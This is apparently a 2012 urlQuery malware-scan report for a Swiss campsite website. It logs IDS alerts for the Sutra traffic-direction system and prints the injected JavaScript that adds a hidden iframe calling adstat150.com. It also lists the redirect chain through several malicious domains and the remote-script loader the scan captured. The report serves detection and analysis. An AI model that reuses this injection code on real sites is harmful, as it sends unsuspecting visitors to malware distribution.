Overview

URLhttp://www.camping-schoenengrund.ch/
IP195.186.81.33
ASNAS44038 Swisscom (Schweiz) AG
Location Switzerland
Report completed2012-11-06 14:43:15 CET
StatusLoading report..
urlQuery Alerts Detected malicious iframe injection
Detected SutraTDS URL pattern


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-06 14:42:40 urlQuery Client 46.165.206.162ET CURRENT_EVENTS TDS Sutra - request in.cgi
2012-11-06 14:42:43 178.63.92.185 urlQuery Client3FILEMAGIC Macromedia Flash data (compressed),
2012-11-06 14:42:44 178.63.92.185 urlQuery Client3FILEMAGIC Macromedia Flash data (compressed),
2012-11-06 14:42:55 46.165.206.16 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - redirect received
Snort /w Sourcefire VRT
Timestamp Source IP Destination IP Severity Alert
2012-11-06 14:42:40 urlQuery Client 46.165.206.161MALWARE-CNC TDS Sutra - request in.cgi


Recent reports on same IP/ASN/Domain

Last 1 reports on IP: 195.186.81.33

Date Alerts / IDS URL IP
2013-02-04 05:39:270 / 2http://burgernziel-apotheke.ch/332.jar195.186.81.33

Last 6 reports on ASN: AS44038 Swisscom (Schweiz) AG

Date Alerts / IDS URL IP
2013-02-19 22:58:550 / 0http://www.corailvoyages.ch195.186.81.17
2013-02-05 18:02:190 / 2http://www.skkb.ch/195.186.81.81
2013-02-04 05:39:270 / 2http://burgernziel-apotheke.ch/332.jar195.186.81.33
2013-01-30 14:13:180 / 0http://www.bluewin.ch/fonts/online12_header/TheSaB3_.woff195.186.145.33
2013-01-29 02:28:460 / 2http://piuz.ch/33256.jar195.186.81.69
2013-01-28 09:20:060 / 0http://www.wenger-fenster.ch195.186.81.59



JavaScript

Executed Scripts (17)


Executed Evals (1)

#1 JavaScript::Eval (size: 567, repeated: 1) - Alert detect on script (Severity: 2)

		if (document.getElementsByTagName('body')[0]) {
		    iframer();
		} else {
		    document.write("<iframe src='http://adstat150.com/in.cgi?9' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
		}
		function iframer() {
		    var f = document.createElement('iframe');
		    f.setAttribute('src', 'http://adstat150.com/in.cgi?9');
		    f.style.visibility = 'hidden';
		    f.style.position = 'absolute';
		    f.style.left = '0';
		    f.style.top = '0';
		    f.setAttribute('width', '10');
		    f.setAttribute('height', '10');
		    document.getElementsByTagName('body')[0].appendChild(f);
		}

Executed Writes (20)

#1 JavaScript::Write (size: 206, repeated: 1)

 <param name="FlashVars" value="big=http%3A//worldtraff.ru/images/peeldown/b1_1347049385.jpg&ad_url=http%3A//worldtraff.ru/click/peeldown.php%3Fsid%3D1%26id%3D30%26hash%3D32d3e5cf0b48edac09f4962e76105405"/>

#2 JavaScript::Write (size: 95, repeated: 1)

 <param name="FlashVars" value="ico=http%3A//worldtraff.ru/images/peeldown/s7_1347049385.jpg"/>

#3 JavaScript::Write (size: 50, repeated: 2)

 <param name="allowScriptAccess" value="always"/> 

#4 JavaScript::Write (size: 240, repeated: 1)

 <param name="movie" value="http://worldtraff.ru/images/large.swf?big=http%3A//worldtraff.ru/images/peeldown/b1_1347049385.jpg&ad_url=http%3A//worldtraff.ru/click/peeldown.php%3Fsid%3D1%26id%3D30%26hash%3D32d3e5cf0b48edac09f4962e76105405"/>

#5 JavaScript::Write (size: 129, repeated: 1)

 <param name="movie" value="http://worldtraff.ru/images/small.swf?ico=http%3A//worldtraff.ru/images/peeldown/s7_1347049385.jpg"/>

#6 JavaScript::Write (size: 39, repeated: 2)

 <param name="quality" value="high" /> 

#7 JavaScript::Write (size: 43, repeated: 1)

 <param name="wmode" value="transparent" />

#8 JavaScript::Write (size: 42, repeated: 1)

 <param name="wmode" value="transparent"/>

#9 JavaScript::Write (size: 96, repeated: 2)

 codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0"

#10 JavaScript::Write (size: 48, repeated: 1)

 id="jcornerBigObject" width="650" height="650">

#11 JavaScript::Write (size: 50, repeated: 1)

 id="jcornerSmallObject" width="100" height="100">

#12 JavaScript::Write (size: 968, repeated: 1)

<!doctype html><html><head><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7,IE=edge" /></head><body><script type="text/javascript">var newversion = true;try {if (top.postMessage) {window.onmessage = function(evt) {evt = evt || window.event;try {var message = new Function("return " + evt.data)();} catch (e) {return;}if (/(^|\.)yandex\.(ru|com|ua|kz|by|com\.tr)(:\d{4})?$/.test(evt.origin) && message.name == "script" && message.data) {var head = document.getElementsByTagName("head")[0];var base = document.createElement("base");base.href = message.data;head.appendChild(base);var script = document.createElement("script");script.src = message.data;head.appendChild(script);parent.removeEventListener("message", window.onmessage, false);window.onmessage = null;}};if (navigator.userAgent.indexOf("Firefox/3.6.") > -1) {parent.addEventListener("message", window.onmessage, false);}top.postMessage('{"name":"ping"}', "*");}} catch (e) {}</script></body></html>

#13 JavaScript::Write (size: 15, repeated: 2)

</object></div>

#14 JavaScript::Write (size: 9, repeated: 1)

</script>

#15 JavaScript::Write (size: 315, repeated: 1)

<a href='http://www.liveinternet.ru/click' target=_blank><img src='//counter.yadro.ru/hit?t12.6;r;s1176*885*24;uhttp%3A//worldtraffic.biz/home.html%3Flang%3Den;0.8496148720475003' border=0 width=88 height=31 alt='' title='LiveInternet: ?>:070=> G8A;> ?@>A<>B@>2 70 24 G0A0, ?>A5B8B5;59 70 24 G0A0 8 70 A53>4=O'></a>

#16 JavaScript::Write (size: 104, repeated: 1)

<div id="jcornerBig" style="position:absolute;width:650px;height:650px;z-index:9999;right:0px;top:0px;">

#17 JavaScript::Write (size: 106, repeated: 1)

<div id="jcornerSmall" style="position:absolute;width:100px;height:100px;z-index:9999;right:0px;top:0px;">

#18 JavaScript::Write (size: 663, repeated: 1)

<embed src="http://worldtraff.ru/images/large.swf?big=http%3A//worldtraff.ru/images/peeldown/b1_1347049385.jpg&ad_url=http%3A//worldtraff.ru/click/peeldown.php%3Fsid%3D1%26id%3D30%26hash%3D32d3e5cf0b48edac09f4962e76105405" id="jcornerBigEmbed" name="jcornerBigObject" wmode="transparent" quality="high" width="650" height="650" flashvars="big=http%3A//worldtraff.ru/images/peeldown/b1_1347049385.jpg&ad_url=http%3A//worldtraff.ru/click/peeldown.php%3Fsid%3D1%26id%3D30%26hash%3D32d3e5cf0b48edac09f4962e76105405" swliveconnect="true" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>

#19 JavaScript::Write (size: 401, repeated: 1)

<embed src="http://worldtraff.ru/images/small.swf?ico=http%3A//worldtraff.ru/images/peeldown/s7_1347049385.jpg" name="jcornerSmallObject" wmode="transparent" quality="high" width="100" height="100" flashvars="ico=http%3A//worldtraff.ru/images/peeldown/s7_1347049385.jpg" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>

#20 JavaScript::Write (size: 60, repeated: 2)

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"


HTTP Transactions (50)


Request Response
GET / HTTP/1.1

Host: www.camping-schoenengrund.ch

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 200 OK

Content-Type: text/html
Date: Tue, 06 Nov 2012 13:42:40 GMT
Server: Apache/2
Last-Modified: Fri, 02 Nov 2012 23:51:43 GMT
Etag: &quot;90c801d-1647-4cd8bd15501c0&quot;
Accept-Ranges: bytes
Content-Length: 5703
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
GET /in.cgi?9 HTTP/1.1

Host: adstat150.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.camping-schoenengrund.ch/
HTTP/1.1 302 Found

Content-Type: text/html
Date: Tue, 06 Nov 2012 13:29:40 GMT
Server: Apache/2.2.16 (Debian)
Set-Cookie: wcvuj9=_0_; domain=adstat150.com; path=/; expires=Wed, 07-Nov-2012 13:29:40 GMT
Location: http://dinclick.com/
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 153
Keep-Alive: timeout=15
Connection: Keep-Alive
GET / HTTP/1.1

Host: dinclick.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.camping-schoenengrund.ch/
HTTP/1.1 200 OK

Content-Type: text/html
Server: nginx/0.7.67
Date: Tue, 06 Nov 2012 13:42:40 GMT
Connection: keep-alive
X-Powered-By: PHP/5.3.3-7+squeeze13
refresh: 1; URL=http://worldtraf.net/?1
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 186
GET /favicon.ico HTTP/1.1

Host: www.camping-schoenengrund.ch

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1
Date: Tue, 06 Nov 2012 13:42:40 GMT
Server: Apache/2
Content-Length: 209
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
GET /?1 HTTP/1.1

Host: worldtraf.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 302 Found

Content-Type: text/html; charset=utf-8
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 20
Connection: keep-alive
X-Powered-By: PHP/5.3.3-7+squeeze14
Expires: Thu, 21 Jul 1977 07:30:00 GMT
Last-Modified: Tue, 06 Nov 2012 13:42:41 GMT
Cache-Control: max-age=0
Pragma: no-cache
Location: http://worldtraffic.biz/home.html?lang=en
Vary: Accept-Encoding
Content-Encoding: gzip
GET /home.html?lang=en HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 200 OK

Content-Type: text/html
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 5926
Connection: keep-alive
X-Powered-By: PHP/5.3.3-7+squeeze13
Set-Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
GET /images/vk.png HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/png
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 3268
Connection: keep-alive
Last-Modified: Fri, 07 Sep 2012 17:13:09 GMT
Accept-Ranges: bytes
GET /styles/main.css HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: text/css
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 3852
Connection: keep-alive
Last-Modified: Fri, 07 Sep 2012 18:23:10 GMT
Accept-Ranges: bytes
GET /share/share.js HTTP/1.1

Host: yandex.st

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
HTTP/1.1 200 OK

Content-Type: application/x-javascript
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Last-Modified: Fri, 05 Oct 2012 09:49:49 GMT
Etag: &quot;4207170442&quot;
Expires: Fri, 09 Nov 2012 13:42:42 GMT
Cache-Control: max-age=259200
Accept-Ranges: bytes
Content-Length: 11571
Date: Tue, 06 Nov 2012 13:42:42 GMT
Server: lighttpd/1.4.26
GET /js/fancybox/jquery.mousewheel-3.0.4.pack.js HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: application/x-javascript
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 1279
Connection: keep-alive
Last-Modified: Fri, 17 Aug 2012 23:13:25 GMT
Accept-Ranges: bytes
GET /ajax/libs/jquery/1.4/jquery.min.js HTTP/1.1

Host: ajax.googleapis.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=UTF-8
Vary: Accept-Encoding
Content-Encoding: gzip
Last-Modified: Mon, 02 Apr 2012 18:24:28 GMT
Date: Tue, 06 Nov 2012 13:25:19 GMT
Expires: Tue, 06 Nov 2012 14:25:19 GMT
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 27106
X-XSS-Protection: 1; mode=block
Age: 1043
Cache-Control: public, must-revalidate, proxy-revalidate, max-age=3600
GET /images/fb.png HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/png
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 3839
Connection: keep-alive
Last-Modified: Fri, 07 Sep 2012 17:13:03 GMT
Accept-Ranges: bytes
GET /images/twitter.png HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/png
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 3319
Connection: keep-alive
Last-Modified: Fri, 07 Sep 2012 17:13:07 GMT
Accept-Ranges: bytes
GET /images/forum.png HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/png
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 3915
Connection: keep-alive
Last-Modified: Fri, 07 Sep 2012 18:04:39 GMT
Accept-Ranges: bytes
GET /js/peeldown.php?id=30 HTTP/1.1

Host: wtraff1.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
HTTP/1.1 200 OK

Content-Type: text/html; charset=windows-1251
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 1047
Connection: keep-alive
X-Powered-By: PHP/5.3.3-7+squeeze13
Vary: Accept-Encoding
Content-Encoding: gzip
GET /js/fancybox/jquery.fancybox-1.3.4.css HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: text/css
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 8852
Connection: keep-alive
Last-Modified: Fri, 17 Aug 2012 23:13:16 GMT
Accept-Ranges: bytes
GET /images/lj.png HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/png
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 3611
Connection: keep-alive
Last-Modified: Fri, 07 Sep 2012 18:21:42 GMT
Accept-Ranges: bytes
GET /images/login_eng.png HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/png
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 4096
Connection: keep-alive
Last-Modified: Sat, 18 Aug 2012 17:03:35 GMT
Accept-Ranges: bytes
GET /images/reg_eng.png HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/png
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 5216
Connection: keep-alive
Last-Modified: Sun, 19 Aug 2012 11:36:07 GMT
Accept-Ranges: bytes
GET /js/fancybox/jquery.fancybox-1.3.4.pack.js HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: application/x-javascript
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 15624
Connection: keep-alive
Last-Modified: Fri, 17 Aug 2012 23:13:23 GMT
Accept-Ranges: bytes
GET /site_stats/js/s/a?url=worldtraffic.biz HTTP/1.1

Host: xslt.alexa.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
HTTP/1.0 200 OK

Content-Type: application/x-javascript
Content-Length: 3153
Connection: keep-alive
x-amz-id-2: TMMnOAppjV5qWi98ymYhbQR6h3rM4EH8+kZtJP6mv9xmM4BdxkxoCziL+LT04LY3
x-amz-request-id: 21EA70F670AF68D3
Date: Sat, 10 Mar 2012 23:04:53 GMT
x-amz-meta-s3fox-filesize: 3153
x-amz-meta-s3fox-modifiedtime: 1291757166000
Last-Modified: Sat, 11 Dec 2010 00:35:05 GMT
Etag: &quot;f4022b30d2ad8a3755b6e53f31c63252&quot;
Accept-Ranges: bytes
Server: AmazonS3
Age: 66248
X-Amz-Cf-Id: OG7mflmDQLUni8lkTpqulcfvejZraSCd2v-Vt_6Fsoi_FKbbsUNYzw==
Via: 1.0 8b1633b834f6beaa5a2d7797c38cf775.cloudfront.net:1182 (CloudFront), 1.0 39cd7fd470e3ab212bf523da060dd90f.cloudfront.net (CloudFront)
X-Cache: Hit from cloudfront
GET /images/reg_bold_eng.png HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/png
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 6078
Connection: keep-alive
Last-Modified: Sat, 18 Aug 2012 17:03:54 GMT
Accept-Ranges: bytes
GET /images/rus.png HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/png
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 551
Connection: keep-alive
Last-Modified: Sat, 18 Aug 2012 17:04:05 GMT
Accept-Ranges: bytes
GET /img/icons/88x31_wm_v_blue_on_white_ru.png HTTP/1.1

Host: www.webmoney.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
HTTP/1.1 200 OK

Content-Type: image/png
Server: nginx
Date: Tue, 06 Nov 2012 21:56:05 GMT
Content-Length: 805
Last-Modified: Wed, 15 Jun 2011 10:36:06 GMT
Connection: keep-alive
Expires: Tue, 20 Nov 2012 21:56:05 GMT
Cache-Control: max-age=1209600
Accept-Ranges: bytes
GET /img/icons/88x31_wm_blue_on_white_ru.png HTTP/1.1

Host: www.webmoney.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
HTTP/1.1 200 OK

Content-Type: image/png
Server: nginx
Date: Tue, 06 Nov 2012 21:56:05 GMT
Content-Length: 854
Last-Modified: Wed, 15 Jun 2011 10:28:34 GMT
Connection: keep-alive
Expires: Tue, 20 Nov 2012 21:56:05 GMT
Cache-Control: max-age=1209600
Accept-Ranges: bytes
GET /images/logo.png HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/png
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 26021
Connection: keep-alive
Last-Modified: Sat, 18 Aug 2012 17:03:41 GMT
Accept-Ranges: bytes
GET /ga.js HTTP/1.1

Host: www.google-analytics.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
